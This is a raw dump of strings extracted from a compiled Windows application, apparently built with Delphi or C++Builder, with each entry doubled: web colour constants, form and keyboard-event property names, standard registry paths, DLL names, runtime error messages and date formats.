clWebSalmon

clWebSalmon

clWebCoral

clWebCoral

clWebGold

clWebGold

clWebTomato

clWebTomato

clWebCrimson

clWebCrimson

clWebBrown

clWebBrown

clWebChocolate

clWebChocolate

clWebSandyBrown

clWebSandyBrown

clWebLightSalmon

clWebLightSalmon

clWebLightCoral

clWebLightCoral

clWebOrange

clWebOrange

clWebOrangeRed

clWebOrangeRed

clWebFirebrick

clWebFirebrick

clWebSaddleBrown

clWebSaddleBrown

clWebSienna

clWebSienna

clWebPeru

clWebPeru

clWebDarkSalmon

clWebDarkSalmon

clWebRosyBrown

clWebRosyBrown

clWebPaleGoldenrod

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebLightGoldenrodYellow

clWebOlive

clWebOlive

clWebForestGreen

clWebForestGreen

clWebGreenYellow

clWebGreenYellow

clWebChartreuse

clWebChartreuse

clWebLightGreen

clWebLightGreen

clWebAquamarine

clWebAquamarine

clWebSeaGreen

clWebSeaGreen

clWebGoldenRod

clWebGoldenRod

clWebKhaki

clWebKhaki

clWebOliveDrab

clWebOliveDrab

clWebGreen

clWebGreen

clWebYellowGreen

clWebYellowGreen

clWebLawnGreen

clWebLawnGreen

clWebPaleGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumAquamarine

clWebMediumSeaGreen

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkOliveGreen

clWebDarkgreen

clWebDarkgreen

clWebLimeGreen

clWebLimeGreen

clWebLime

clWebLime

clWebSpringGreen

clWebSpringGreen

clWebMediumSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebPaleTurquoise

clWebLightCyan

clWebLightCyan

clWebLightBlue

clWebLightBlue

clWebLightSkyBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebDarkBlue

clWebIndigo

clWebIndigo

clWebMediumTurquoise

clWebMediumTurquoise

clWebTurquoise

clWebTurquoise

clWebCyan

clWebCyan

clWebPowderBlue

clWebPowderBlue

clWebSkyBlue

clWebSkyBlue

clWebRoyalBlue

clWebRoyalBlue

clWebMediumBlue

clWebMediumBlue

clWebMidnightBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebDarkTurquoise

clWebCadetBlue

clWebCadetBlue

clWebDarkCyan

clWebDarkCyan

clWebTeal

clWebTeal

clWebDeepskyBlue

clWebDeepskyBlue

clWebDodgerBlue

clWebDodgerBlue

clWebBlue

clWebBlue

clWebNavy

clWebNavy

clWebDarkViolet

clWebDarkViolet

clWebDarkOrchid

clWebDarkOrchid

clWebMagenta

clWebMagenta

clWebDarkMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebMediumVioletRed

clWebPaleVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebBlueViolet

clWebMediumOrchid

clWebMediumOrchid

clWebMediumPurple

clWebMediumPurple

clWebPurple

clWebPurple

clWebDeepPink

clWebDeepPink

clWebLightPink

clWebLightPink

clWebViolet

clWebViolet

clWebOrchid

clWebOrchid

clWebPlum

clWebPlum

clWebThistle

clWebThistle

clWebHotPink

clWebHotPink

clWebPink

clWebPink

clWebLightSteelBlue

clWebLightSteelBlue

clWebMediumSlateBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebLightSlateGray

clWebWhite

clWebWhite

clWebLightgrey

clWebLightgrey

clWebGray

clWebGray

clWebSteelBlue

clWebSteelBlue

clWebSlateBlue

clWebSlateBlue

clWebSlateGray

clWebSlateGray

clWebWhiteSmoke

clWebWhiteSmoke

clWebSilver

clWebSilver

clWebDimGray

clWebDimGray

clWebMistyRose

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlateBlue

clWebDarkSlategray

clWebDarkSlategray

clWebGainsboro

clWebGainsboro

clWebDarkGray

clWebDarkGray

clWebBlack

clWebBlack

AutoHotkeys

AutoHotkeys

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

EInvalidGraphicOperation

EInvalidGraphicOperation

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

TWMKey

TWMKey

KeyPreview

KeyPreview

WindowState

WindowState

OnKeyDown

OnKeyDown

OnKeyPress

OnKeyPress

OnKeyUp

OnKeyUp

GlassFrame.Bottom

GlassFrame.Bottom

GlassFrame.Enabled

GlassFrame.Enabled

GlassFrame.Left

GlassFrame.Left

GlassFrame.Right

GlassFrame.Right

GlassFrame.SheetOfGlass

GlassFrame.SheetOfGlass

GlassFrame.Top

GlassFrame.Top

Uhr%D

Uhr%D

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

User32.dll

User32.dll

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

HelpKeyword`

HelpKeyword`

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

xxtype.cpp

xxtype.cpp

derv->tpClass.tpcFlags & CF_HAS_BASES

derv->tpClass.tpcFlags & CF_HAS_BASES

Inappropriate I/O control operation

Inappropriate I/O control operation

Broken pipe

Broken pipe

Operation not permitted

Operation not permitted

%H:%M:%S

%H:%M:%S

%m/%d/%y

%m/%d/%y

%A, %B %d, %Y

%A, %B %d, %Y

%s: %s error

%s: %s error